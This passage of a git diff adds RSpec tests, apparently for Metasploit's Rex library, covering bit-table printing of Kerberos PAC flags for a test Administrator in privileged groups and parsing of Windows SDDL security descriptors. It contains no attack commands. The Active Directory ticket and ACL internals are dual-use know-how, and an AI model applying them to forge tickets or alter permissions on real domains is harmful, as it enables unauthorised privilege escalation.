.... .... .... ..0. .... Extra Sids: The EXTRA_SIDS bit is NOT SET + .... .... .... .... .... .... .... 0... Lan Manager: The LAN_MANAGER bit is NOT SET + .... .... .... .... .... .... .... ..0. No Encryption: The NO_ENCRYPTION bit is NOT SET + .... .... .... .... .... .... .... ...0 Guest: The GUEST bit is NOT SET User Session Key: 00000000000000000000000000000000 User Account Control: 528 + .... .... ..0. .... .... .... .... .... Use Aes Keys: The USE_AES_KEYS bit is NOT SET + .... .... ...0 .... .... .... .... .... Partial Secrets Account: The PARTIAL_SECRETS_ACCOUNT bit is NOT SET + .... .... .... 0... .... .... .... .... No Auth Data Required: The NO_AUTH_DATA_REQUIRED bit is NOT SET + .... .... .... .0.. .... .... .... .... Trusted To Authenticate For Delegation: The TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION bit is NOT SET + .... .... .... ..0. .... .... .... .... Password Expired: The PASSWORD_EXPIRED bit is NOT SET + .... .... .... ...0 .... .... .... .... Dont Require Preauth: The DONT_REQUIRE_PREAUTH bit is NOT SET + .... .... .... .... 0... .... .... .... Use Des Key Only: The USE_DES_KEY_ONLY bit is NOT SET + .... .... .... .... .0.. .... .... .... Not Delegated: The NOT_DELEGATED bit is NOT SET + .... .... .... .... ..0. .... .... .... Trusted For Delegation: The TRUSTED_FOR_DELEGATION bit is NOT SET + .... .... .... .... ...0 .... .... .... Smartcard Required: The SMARTCARD_REQUIRED bit is NOT SET + .... .... .... .... .... 0... .... .... Encrypted Test Password Allowed: The ENCRYPTED_TEST_PASSWORD_ALLOWED bit is NOT SET + .... .... .... .... .... .0.. .... .... Account Auto Lock: The ACCOUNT_AUTO_LOCK bit is NOT SET + .... .... .... .... .... ..1. .... .... Dont Expire Password: The DONT_EXPIRE_PASSWORD bit is SET + .... .... .... .... .... ...0 .... .... Server Trust Account: The SERVER_TRUST_ACCOUNT bit is NOT SET + .... .... .... .... .... .... 0... .... Workstation Trust Account: The WORKSTATION_TRUST_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .0.. .... Interdomain Trust Account: The INTERDOMAIN_TRUST_ACCOUNT bit is NOT SET + .... .... .... .... .... .... ..0. .... Mns Logon Account: The MNS_LOGON_ACCOUNT bit is NOT SET + .... .... .... .... .... .... ...1 .... Normal Account: The NORMAL_ACCOUNT bit is SET + .... .... .... .... .... .... .... 0... Temp Duplicate Account: The TEMP_DUPLICATE_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .... .0.. Password Not Required: The PASSWORD_NOT_REQUIRED bit is NOT SET + .... .... .... .... .... .... .... ..0. Home Directory Required: The HOME_DIRECTORY_REQUIRED bit is NOT SET + .... .... .... .... .... .... .... ...0 Account Disabled: The ACCOUNT_DISABLED bit is NOT SET Sub Auth Status: 0 Last Successful Interactive Logon: No Time Set (0) Last Failed Interactive Logon: No Time Set (0) @@ -204,11 +238,41 @@ Resource Group Count: 0 Group Count: 5 Group IDs: - Relative ID: 513, Attributes: 7 - Relative ID: 512, Attributes: 7 - Relative ID: 520, Attributes: 7 - Relative ID: 518, Attributes: 7 - Relative ID: 519, Attributes: 7 + Relative ID: 513 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET + Relative ID: 512 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET + Relative ID: 520 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET + Relative ID: 518 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET + Relative ID: 519 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET Logon Domain ID: S-1-5-21-3541430928-2051711210-1391384369 Effective Name: 'Administrator' Full Name: '' @@ -271,6 +335,8 @@ UPN: test@windomain.local DNS Domain Name: WINDOMAIN.LOCAL Flags: 1 + .... .... .... .... .... .... .... ..0. Sam Name And Sid: The SAM_NAME_AND_SID bit is NOT SET + .... .... .... .... .... .... .... ...1 Upn Name Constructed: The UPN_NAME_CONSTRUCTED bit is SET EOF end end @@ -288,10 +354,205 @@ UPN: test@windomain.local DNS Domain Name: WINDOMAIN.LOCAL Flags: 3 + .... .... .... .... .... .... .... ..1. Sam Name And Sid: The SAM_NAME_AND_SID bit is SET + .... .... .... .... .... .... .... ...1 Upn Name Constructed: The UPN_NAME_CONSTRUCTED bit is SET SAM Name: test SID: S-1-5-32-544 EOF end end + + describe '#print_bin_data_model' do + context 'when the bindata object has fields that are not 1bit' do + it 'should raise an exception' do + model = Rex::Proto::Kerberos::Pac::UserSessionKey.new + expect { subject.print_bin_data_model(model) }.to raise_error TypeError, 'Unsupported field type RubySMB::Dcerpc::Ndr::NdrFixArray for field :session_key - expected one of BinData::Bit1' + end + end + + context 'when a bit length less than the number of flags is passed' do + it 'should raise an exception' do + binary_value = [Rex::Proto::Kerberos::Pac::SE_GROUP_ALL].pack('N') + group_attributes = Rex::Proto::Kerberos::Pac::GroupAttributes.read(binary_value) + expect { subject.print_bin_data_model(group_attributes, bit_length: 2) }.to raise_error ArgumentError, 'Not implemented. Bit length(2) should equal the bit length of the model 32' + end + end + + context 'when passed GroupAttributes' do + it 'should format flags when the SE_GROUP_RESOURCE flags are set' do + binary_value = [Rex::Proto::Kerberos::Pac::SE_GROUP_RESOURCE].pack('N') + group_attributes = Rex::Proto::Kerberos::Pac::GroupAttributes.read(binary_value) + expect(subject.print_bin_data_model(group_attributes)).to match_table <<~TABLE + ..1. .... .... .... .... .... .... .... Resource: The RESOURCE bit is SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .0.. Enabled: The ENABLED bit is NOT SET + .... .... .... .... .... .... .... ..0. Enabled By Default: The ENABLED_BY_DEFAULT bit is NOT SET + .... .... .... .... .... .... .... ...0 Mandatory: The MANDATORY bit is NOT SET + TABLE + end + + it 'should format flags when the SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED flags are set' do + binary_value = [Rex::Proto::Kerberos::Pac::SE_GROUP_ALL].pack('N') + group_attributes = Rex::Proto::Kerberos::Pac::GroupAttributes.read(binary_value) + expect(subject.print_bin_data_model(group_attributes)).to match_table <<~TABLE + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET + TABLE + end + + it 'should format flags when the SE_GROUP_OWNER flag is set' do + binary_value = [Rex::Proto::Kerberos::Pac::SE_GROUP_OWNER].pack('N') + group_attributes = Rex::Proto::Kerberos::Pac::GroupAttributes.read(binary_value) + expect(subject.print_bin_data_model(group_attributes)).to match_table <<~TABLE + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 1... Owner: The OWNER bit is SET + .... .... .... .... .... .... .... .0.. Enabled: The ENABLED bit is NOT SET + .... .... .... .... .... .... .... ..0. Enabled By Default: The ENABLED_BY_DEFAULT bit is NOT SET + .... .... .... .... .... .... .... ...0 Mandatory: The MANDATORY bit is NOT SET + TABLE + end + end + + context 'when passed UserFlagsAttributes' do + it 'should return formatted user descriptions for nothing being set' do + binary_value = [0].pack('N') + user_attributes = Rex::Proto::Kerberos::Pac::UserFlagAttributes.read(binary_value) + expect(subject.print_bin_data_model(user_attributes)).to match_table <<~TABLE + .... .... .... .... ..0. .... .... .... Used Lmv2 Auth And Ntlmv2 Session Key: The USED_LMV2_AUTH_AND_NTLMV2_SESSION_KEY bit is NOT SET + .... .... .... .... ...0 .... .... .... Used Lmv2 Auth And Session Key: The USED_LMV2_AUTH_AND_SESSION_KEY bit is NOT SET + .... .... .... .... .... 0... .... .... Used Ntlmv2 Auth And Session Key: The USED_NTLMV2_AUTH_AND_SESSION_KEY bit is NOT SET + .... .... .... .... .... .0.. .... .... Profile Path Populated: The PROFILE_PATH_POPULATED bit is NOT SET + .... .... .... .... .... ..0. .... .... Resource Group Ids: The RESOURCE_GROUP_IDS bit is NOT SET + .... .... .... .... .... ...0 .... .... Accepts Ntlmv2: The ACCEPTS_NTLMV2 bit is NOT SET + .... .... .... .... .... .... 0... .... Machine Account: The MACHINE_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .0.. .... Sub Authentication: The SUB_AUTHENTICATION bit is NOT SET + .... .... .... .... .... .... ..0. .... Extra Sids: The EXTRA_SIDS bit is NOT SET + .... .... .... .... .... .... .... 0... Lan Manager: The LAN_MANAGER bit is NOT SET + .... .... .... .... .... .... .... ..0. No Encryption: The NO_ENCRYPTION bit is NOT SET + .... .... .... .... .... .... .... ...0 Guest: The GUEST bit is NOT SET + TABLE + end + + it 'should return formatted user descriptions for MACHINE_ACCOUNT being set' do + binary_value = [32].pack('N') + user_attributes = Rex::Proto::Kerberos::Pac::UserFlagAttributes.read(binary_value) + expect(subject.print_bin_data_model(user_attributes)).to match_table <<~TABLE + .... .... .... .... ..0. .... .... .... Used Lmv2 Auth And Ntlmv2 Session Key: The USED_LMV2_AUTH_AND_NTLMV2_SESSION_KEY bit is NOT SET + .... .... .... .... ...0 .... .... .... Used Lmv2 Auth And Session Key: The USED_LMV2_AUTH_AND_SESSION_KEY bit is NOT SET + .... .... .... .... .... 0... .... .... Used Ntlmv2 Auth And Session Key: The USED_NTLMV2_AUTH_AND_SESSION_KEY bit is NOT SET + .... .... .... .... .... .0.. .... .... Profile Path Populated: The PROFILE_PATH_POPULATED bit is NOT SET + .... .... .... .... .... ..0. .... .... Resource Group Ids: The RESOURCE_GROUP_IDS bit is NOT SET + .... .... .... .... .... ...0 .... .... Accepts Ntlmv2: The ACCEPTS_NTLMV2 bit is NOT SET + .... .... .... .... .... .... 0... .... Machine Account: The MACHINE_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .0.. .... Sub Authentication: The SUB_AUTHENTICATION bit is NOT SET + .... .... .... .... .... .... ..1. .... Extra Sids: The EXTRA_SIDS bit is SET + .... .... .... .... .... .... .... 0... Lan Manager: The LAN_MANAGER bit is NOT SET + .... .... .... .... .... .... .... ..0. No Encryption: The NO_ENCRYPTION bit is NOT SET + .... .... .... .... .... .... .... ...0 Guest: The GUEST bit is NOT SET + TABLE + end + + it 'should return formatted user descriptions for USED_LMV2_AUTH_AND_NTLMV2_SESSION_KEY, NO_ENCRYPTION and GUEST being set' do + binary_value = [8195].pack('N') + user_attributes = Rex::Proto::Kerberos::Pac::UserFlagAttributes.read(binary_value) + expect(subject.print_bin_data_model(user_attributes)).to match_table <<~TABLE + .... .... .... .... ..1. .... .... .... Used Lmv2 Auth And Ntlmv2 Session Key: The USED_LMV2_AUTH_AND_NTLMV2_SESSION_KEY bit is SET + .... .... .... .... ...0 .... .... .... Used Lmv2 Auth And Session Key: The USED_LMV2_AUTH_AND_SESSION_KEY bit is NOT SET + .... .... .... .... .... 0... .... .... Used Ntlmv2 Auth And Session Key: The USED_NTLMV2_AUTH_AND_SESSION_KEY bit is NOT SET + .... .... .... .... .... .0.. .... .... Profile Path Populated: The PROFILE_PATH_POPULATED bit is NOT SET + .... .... .... .... .... ..0. .... .... Resource Group Ids: The RESOURCE_GROUP_IDS bit is NOT SET + .... .... .... .... .... ...0 .... .... Accepts Ntlmv2: The ACCEPTS_NTLMV2 bit is NOT SET + .... .... .... .... .... .... 0... .... Machine Account: The MACHINE_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .0.. .... Sub Authentication: The SUB_AUTHENTICATION bit is NOT SET + .... .... .... .... .... .... ..0. .... Extra Sids: The EXTRA_SIDS bit is NOT SET + .... .... .... .... .... .... .... 0... Lan Manager: The LAN_MANAGER bit is NOT SET + .... .... .... .... .... .... .... ..1. No Encryption: The NO_ENCRYPTION bit is SET + .... .... .... .... .... .... .... ...1 Guest: The GUEST bit is SET + TABLE + end + + it 'should return formatted user descriptions for every flag being set' do + binary_value = [16363].pack('N') + user_attributes = Rex::Proto::Kerberos::Pac::UserFlagAttributes.read(binary_value) + expect(subject.print_bin_data_model(user_attributes)).to match_table <<~TABLE + .... .... .... .... ..1. .... .... .... Used Lmv2 Auth And Ntlmv2 Session Key: The USED_LMV2_AUTH_AND_NTLMV2_SESSION_KEY bit is SET + .... .... .... .... ...1 .... .... .... Used Lmv2 Auth And Session Key: The USED_LMV2_AUTH_AND_SESSION_KEY bit is SET + .... .... .... .... .... 1... .... .... Used Ntlmv2 Auth And Session Key: The USED_NTLMV2_AUTH_AND_SESSION_KEY bit is SET + .... .... .... .... .... .1.. .... .... Profile Path Populated: The PROFILE_PATH_POPULATED bit is SET + .... .... .... .... .... ..1. .... .... Resource Group Ids: The RESOURCE_GROUP_IDS bit is SET + .... .... .... .... .... ...1 .... .... Accepts Ntlmv2: The ACCEPTS_NTLMV2 bit is SET + .... .... .... .... .... .... 1... .... Machine Account: The MACHINE_ACCOUNT bit is SET + .... .... .... .... .... .... .1.. .... Sub Authentication: The SUB_AUTHENTICATION bit is SET + .... .... .... .... .... .... ..1. .... Extra Sids: The EXTRA_SIDS bit is SET + .... .... .... .... .... .... .... 1... Lan Manager: The LAN_MANAGER bit is SET + .... .... .... .... .... .... .... ..1. No Encryption: The NO_ENCRYPTION bit is SET + .... .... .... .... .... .... .... ...1 Guest: The GUEST bit is SET + TABLE + end + end + + context 'when passed UserAccountAttributes' do + it 'should return formatted user account descriptions for nothing being set' do + binary_value = [0].pack('N') + useraccount_attributes = Rex::Proto::Kerberos::Pac::UserAccountAttributes.read(binary_value) + expect(subject.print_bin_data_model(useraccount_attributes)).to match_table <<~TABLE + .... .... ..0. .... .... .... .... .... Use Aes Keys: The USE_AES_KEYS bit is NOT SET + .... .... ...0 .... .... .... .... .... Partial Secrets Account: The PARTIAL_SECRETS_ACCOUNT bit is NOT SET + .... .... .... 0... .... .... .... .... No Auth Data Required: The NO_AUTH_DATA_REQUIRED bit is NOT SET + .... .... .... .0.. .... .... .... .... Trusted To Authenticate For Delegation: The TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION bit is NOT SET + .... .... .... ..0. .... .... .... .... Password Expired: The PASSWORD_EXPIRED bit is NOT SET + .... .... .... ...0 .... .... .... .... Dont Require Preauth: The DONT_REQUIRE_PREAUTH bit is NOT SET + .... .... .... .... 0... .... .... .... Use Des Key Only: The USE_DES_KEY_ONLY bit is NOT SET + .... .... .... .... .0.. .... .... .... Not Delegated: The NOT_DELEGATED bit is NOT SET + .... .... .... .... ..0. .... .... .... Trusted For Delegation: The TRUSTED_FOR_DELEGATION bit is NOT SET + .... .... .... .... ...0 .... .... .... Smartcard Required: The SMARTCARD_REQUIRED bit is NOT SET + .... .... .... .... .... 0... .... .... Encrypted Test Password Allowed: The ENCRYPTED_TEST_PASSWORD_ALLOWED bit is NOT SET + .... .... .... .... .... .0.. .... .... Account Auto Lock: The ACCOUNT_AUTO_LOCK bit is NOT SET + .... .... .... .... .... ..0. .... .... Dont Expire Password: The DONT_EXPIRE_PASSWORD bit is NOT SET + .... .... .... .... .... ...0 .... .... Server Trust Account: The SERVER_TRUST_ACCOUNT bit is NOT SET + .... .... .... .... .... .... 0... .... Workstation Trust Account: The WORKSTATION_TRUST_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .0.. .... Interdomain Trust Account: The INTERDOMAIN_TRUST_ACCOUNT bit is NOT SET + .... .... .... .... .... .... ..0. .... Mns Logon Account: The MNS_LOGON_ACCOUNT bit is NOT SET + .... .... .... .... .... .... ...0 .... Normal Account: The NORMAL_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .... 0... Temp Duplicate Account: The TEMP_DUPLICATE_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .... .0.. Password Not Required: The PASSWORD_NOT_REQUIRED bit is NOT SET + .... .... .... .... .... .... .... ..0. Home Directory Required: The HOME_DIRECTORY_REQUIRED bit is NOT SET + .... .... .... .... .... .... .... ...0 Account Disabled: The ACCOUNT_DISABLED bit is NOT SET + TABLE + end + + it 'should return formatted user account descriptions for DONT_EXPIRE_PASSWORD and NORMAL_ACCOUNT being set' do + binary_value = [528].pack('N') + useraccount_attributes = Rex::Proto::Kerberos::Pac::UserAccountAttributes.read(binary_value) + expect(subject.print_bin_data_model(useraccount_attributes)).to match_table <<~TABLE + .... .... ..0. .... .... .... .... .... Use Aes Keys: The USE_AES_KEYS bit is NOT SET + .... .... ...0 .... .... .... .... .... Partial Secrets Account: The PARTIAL_SECRETS_ACCOUNT bit is NOT SET + .... .... .... 0... .... .... .... .... No Auth Data Required: The NO_AUTH_DATA_REQUIRED bit is NOT SET + .... .... .... .0.. .... .... .... .... Trusted To Authenticate For Delegation: The TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION bit is NOT SET + .... .... .... ..0. .... .... .... .... Password Expired: The PASSWORD_EXPIRED bit is NOT SET + .... .... .... ...0 .... .... .... .... Dont Require Preauth: The DONT_REQUIRE_PREAUTH bit is NOT SET + .... .... .... .... 0... .... .... .... Use Des Key Only: The USE_DES_KEY_ONLY bit is NOT SET + .... .... .... .... .0.. .... .... .... Not Delegated: The NOT_DELEGATED bit is NOT SET + .... .... .... .... ..0. .... .... .... Trusted For Delegation: The TRUSTED_FOR_DELEGATION bit is NOT SET + .... .... .... .... ...0 .... .... .... Smartcard Required: The SMARTCARD_REQUIRED bit is NOT SET + .... .... .... .... .... 0... .... .... Encrypted Test Password Allowed: The ENCRYPTED_TEST_PASSWORD_ALLOWED bit is NOT SET + .... .... .... .... .... .0.. .... .... Account Auto Lock: The ACCOUNT_AUTO_LOCK bit is NOT SET + .... .... .... .... .... ..1. .... .... Dont Expire Password: The DONT_EXPIRE_PASSWORD bit is SET + .... .... .... .... .... ...0 .... .... Server Trust Account: The SERVER_TRUST_ACCOUNT bit is NOT SET + .... .... .... .... .... .... 0... .... Workstation Trust Account: The WORKSTATION_TRUST_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .0.. .... Interdomain Trust Account: The INTERDOMAIN_TRUST_ACCOUNT bit is NOT SET + .... .... .... .... .... .... ..0. .... Mns Logon Account: The MNS_LOGON_ACCOUNT bit is NOT SET + .... .... .... .... .... .... ...1 .... Normal Account: The NORMAL_ACCOUNT bit is SET + .... .... .... .... .... .... .... 0... Temp Duplicate Account: The TEMP_DUPLICATE_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .... .0.. Password Not Required: The PASSWORD_NOT_REQUIRED bit is NOT SET + .... .... .... .... .... .... .... ..0. Home Directory Required: The HOME_DIRECTORY_REQUIRED bit is NOT SET + .... .... .... .... .... .... .... ...0 Account Disabled: The ACCOUNT_DISABLED bit is NOT SET + TABLE + end + end + end end end diff --git a/spec/lib/rex/proto/ms_dtyp/ms_dtyp_security_descriptor_spec.rb b/spec/lib/rex/proto/ms_dtyp/ms_dtyp_security_descriptor_spec.rb new file mode 100644 index 0000000000000..33f8854e7ba7a --- /dev/null +++ b/spec/lib/rex/proto/ms_dtyp/ms_dtyp_security_descriptor_spec.rb @@ -0,0 +1,355 @@ +# -*- coding:binary -*- + +require 'securerandom' + +RSpec.describe Rex::Proto::MsDtyp::MsDtypSecurityDescriptor do + let (:domain_sid) { "S-1-5-21-#{rand(0xf00000..0xffffffff)}-#{rand(0xf00000..0xffffffff)}-#{rand(0xf00000..0xffffffff)}" } + describe '.from_sddl_text' do + context 'when parsing an owner SID' do + let (:dummy_sid) { "S-1-5-21-#{rand(0xf00000..0xffffffff)}-#{rand(0xf00000..0xffffffff)}-#{rand(0xf00000..0xffffffff)}-#{rand(100..999)}" } + + it 'raises an exception when multiple owners are specified' do + expect { described_class.from_sddl_text('O:AUO:AU', domain_sid: domain_sid) }.to raise_error(RuntimeError) + end + + it 'raises an exception on invalid constant SID strings' do + expect { described_class.from_sddl_text('O:XX', domain_sid: domain_sid) }.to raise_error(RuntimeError) + end + + it 'raises an exception on invalid literal SID strings' do + expect { described_class.from_sddl_text('O:S-###', domain_sid: domain_sid) }.to raise_error(RuntimeError) + end + + it 'parses constant SID strings' do + expect(described_class).to receive(:parse_sddl_sid).with('AU', domain_sid: domain_sid).and_call_original + expect(described_class.from_sddl_text('O:AU', domain_sid: domain_sid).owner_sid).to eq Rex::Proto::Secauthz::WellKnownSids::SECURITY_AUTHENTICATED_USER_SID + end + + it 'parses literal SID strings' do + expect(described_class).to receive(:parse_sddl_sid).with(dummy_sid, domain_sid: domain_sid).and_call_original + expect(described_class.from_sddl_text("O:#{dummy_sid}", domain_sid: domain_sid).owner_sid).to eq dummy_sid + end + end + + context 'when parsing a group SID' do + let (:dummy_sid) { "S-1-5-21-#{rand(0xf00000..0xffffffff)}-#{rand(0xf00000..0xffffffff)}-#{rand(0xf00000..0xffffffff)}-#{rand(100..999)}" } + + it 'raises an exception when multiple groups are specified' do + expect { described_class.from_sddl_text('G:AUG:AU', domain_sid: domain_sid) }.to raise_error(RuntimeError) + end + + it 'raises an exception on invalid constant SID strings' do + expect { described_class.from_sddl_text('G:XX', domain_sid: domain_sid) }.to raise_error(RuntimeError) + end + + it 'raises an exception on invalid literal SID strings' do + expect { described_class.from_sddl_text('G:S-###', domain_sid: domain_sid) }.to raise_error(RuntimeError) + end + + it 'parses constant SID strings' do + expect(described_class).to receive(:parse_sddl_sid).with('AU', domain_sid: domain_sid).and_call_original + expect(described_class.from_sddl_text('G:AU', domain_sid: domain_sid).group_sid).to eq Rex::Proto::Secauthz::WellKnownSids::SECURITY_AUTHENTICATED_USER_SID + end + + it 'parses literal SID strings' do + expect(described_class).to receive(:parse_sddl_sid).with(dummy_sid, domain_sid: domain_sid).and_call_original + expect(described_class.from_sddl_text("G:#{dummy_sid}", domain_sid: domain_sid).group_sid).to eq dummy_sid + end + end + + context 'when parsing a DACL' do + context 'with an empty definitions' do + let(:instance) { described_class.from_sddl_text('D:', domain_sid: domain_sid) } + + it 'calls .parse_sddl_aces' do + expect(described_class).to receive(:parse_sddl_aces).with('', domain_sid: domain_sid).and_return([]) + described_class.from_sddl_text('D:', domain_sid: domain_sid) + end + + it 'sets the ACL when no ACEs are present' do + expect(instance.dacl).to be_a Rex::Proto::MsDtyp::MsDtypAcl + expect(instance.dacl.aces).to be_empty + end + + it 'does not set the P flag' do + expect(instance.control.pd).to eq 0 + end + + it 'does not set the AI flag' do + expect(instance.control.di).to eq 0 + end + + it 'does not set the AR flag' do + expect(instance.control.dc).to eq 0 + end + end + + it 'raises an exception when multiple values are specified' do + expect { described_class.from_sddl_text('D:D:', domain_sid: domain_sid) }.to raise_error(RuntimeError) + end + + it 'sets the P flag' do + expect(described_class.from_sddl_text('D:P', domain_sid: domain_sid).control.pd).to eq 1 + end + + it 'sets the AI flag' do + expect(described_class.from_sddl_text('D:AI', domain_sid: domain_sid).control.di).to eq 1 + end + + it 'sets the AR flag' do + expect(described_class.from_sddl_text('D:AR', domain_sid: domain_sid).control.dc).to eq 1 + end + + it 'sets a NULL ACL on NO_ACCESS_CONTROL' do + expect(described_class.from_sddl_text('D:NO_ACCESS_CONTROL', domain_sid: domain_sid).dacl).to be_nil + end + end + + context 'when parsing a SACL' do + context 'with an empty definitions' do + let(:instance) { described_class.from_sddl_text('S:', domain_sid: domain_sid) } + + it 'calls .parse_sddl_aces' do + expect(described_class).to receive(:parse_sddl_aces).with('', domain_sid: domain_sid).and_return([]) + described_class.from_sddl_text('S:', domain_sid: domain_sid) + end + + it 'sets the ACL when no ACEs are present' do + expect(instance.sacl).to be_a Rex::Proto::MsDtyp::MsDtypAcl + expect(instance.sacl.aces).to be_empty + end + + it 'does not set the P flag' do + expect(instance.control.ps).to eq 0 + end + + it 'does not set the AI flag' do + expect(instance.control.si).to eq 0 + end + + it 'does not set the AR flag' do + expect(instance.control.sc).to eq 0 + end + end + + it 'raises an exception when multiple values are specified' do + expect { described_class.from_sddl_text('S:S:', domain_sid: domain_sid) }.to raise_error(RuntimeError) + end + + it 'sets the P flag' do + expect(described_class.from_sddl_text('S:P', domain_sid: domain_sid).control.ps).to eq 1 + end + + it 'sets the AI flag' do + expect(described_class.from_sddl_text('S:AI', domain_sid: domain_sid).control.si).to eq 1 + end + + it 'sets the AR flag' do + expect(described_class.from_sddl_text('S:AR', domain_sid: domain_sid).control.sc).to eq 1 + end + + it 'sets a NULL ACL on NO_ACCESS_CONTROL' do + expect(described_class.from_sddl_text('S:NO_ACCESS_CONTROL', domain_sid: domain_sid).sacl).to be_nil + end + end + end + + describe '.parse_sddl_ace' do + it 'raises an exception on invalid ACEs' do + expect { described_class.send(:parse_sddl_ace, '', domain_sid: domain_sid) }.to raise_error(RuntimeError) + expect { described_class.send(:parse_sddl_ace, ';;;;;', domain_sid: domain_sid) }.to raise_error(RuntimeError) + expect { described_class.send(:parse_sddl_ace, ';;;;;;;', domain_sid: domain_sid) }.to raise_error(RuntimeError) + end + + context 'when parsing the ACE type' do + it 'raises an exception on an invalid type' do + expect { described_class.send(:parse_sddl_ace, 'X;;;;;', domain_sid: domain_sid) }.to raise_error(RuntimeError) + end + + it 'sets the type correctly for A' do + expect(described_class.send(:parse_sddl_ace, 'A;;;;;', domain_sid: domain_sid).header.ace_type).to eq Rex::Proto::MsDtyp::MsDtypAceType::ACCESS_ALLOWED_ACE_TYPE + end + + it 'sets the type correctly for A (case-insensitive)' do + expect(described_class.send(:parse_sddl_ace, 'a;;;;;', domain_sid: domain_sid).header.ace_type).to eq Rex::Proto::MsDtyp::MsDtypAceType::ACCESS_ALLOWED_ACE_TYPE + end + + it 'sets the type correctly for D' do + expect(described_class.send(:parse_sddl_ace, 'D;;;;;', domain_sid: domain_sid).header.ace_type).to eq Rex::Proto::MsDtyp::MsDtypAceType::ACCESS_DENIED_ACE_TYPE + end + + it 'sets the type correctly for OA' do + expect(described_class.send(:parse_sddl_ace, 'OA;;;;;', domain_sid: domain_sid).header.ace_type).to eq Rex::Proto::MsDtyp::MsDtypAceType::ACCESS_ALLOWED_OBJECT_ACE_TYPE + end + + it 'sets the type correctly for OD' do + expect(described_class.send(:parse_sddl_ace, 'OD;;;;;', domain_sid: domain_sid).header.ace_type).to eq Rex::Proto::MsDtyp::MsDtypAceType::ACCESS_DENIED_OBJECT_ACE_TYPE + end + + it 'sets the type correctly for AU' do + expect(described_class.send(:parse_sddl_ace, 'AU;;;;;', domain_sid: domain_sid).header.ace_type).to eq Rex::Proto::MsDtyp::MsDtypAceType::SYSTEM_AUDIT_ACE_TYPE + end + + it 'sets the type correctly for OU' do + expect(described_class.send(:parse_sddl_ace, 'OU;;;;;', domain_sid: domain_sid).header.ace_type).to eq Rex::Proto::MsDtyp::MsDtypAceType::SYSTEM_AUDIT_OBJECT_ACE_TYPE + end + end + + context 'when parsing the ACE flags' do + it 'raises an exception on invalid flags' do + expect { described_class.send(:parse_sddl_ace, 'A;XX;;;;', domain_sid: domain_sid) }.to raise_error(RuntimeError) + end + + it 'sets no flags by default' do + expect(described_class.send(:parse_sddl_ace, 'A;;;;;', domain_sid: domain_sid).header.ace_flags.snapshot.values.sum).to eq 0 + end + + it 'sets the flag correctly for CI' do + expect(described_class.send(:parse_sddl_ace, 'A;CI;;;;', domain_sid: domain_sid).header.ace_flags.container_inherit_ace).to eq 1 + end + + it 'sets the flag correctly for CI (case-insensitive)' do + expect(described_class.send(:parse_sddl_ace, 'A;ci;;;;', domain_sid: domain_sid).header.ace_flags.container_inherit_ace).to eq 1 + end + + it 'sets the flag correctly for OI' do + expect(described_class.send(:parse_sddl_ace, 'A;OI;;;;', domain_sid: domain_sid).header.ace_flags.object_inherit_ace).to eq 1 + end + + it 'sets the flag correctly for NP' do + expect(described_class.send(:parse_sddl_ace, 'A;NP;;;;', domain_sid: domain_sid).header.ace_flags.no_propagate_inherit_ace).to eq 1 + end + + it 'sets the flag correctly for IO' do + expect(described_class.send(:parse_sddl_ace, 'A;IO;;;;', domain_sid: domain_sid).header.ace_flags.inherit_only_ace).to eq 1 + end + + it 'sets the flag correctly for ID' do + expect(described_class.send(:parse_sddl_ace, 'A;ID;;;;', domain_sid: 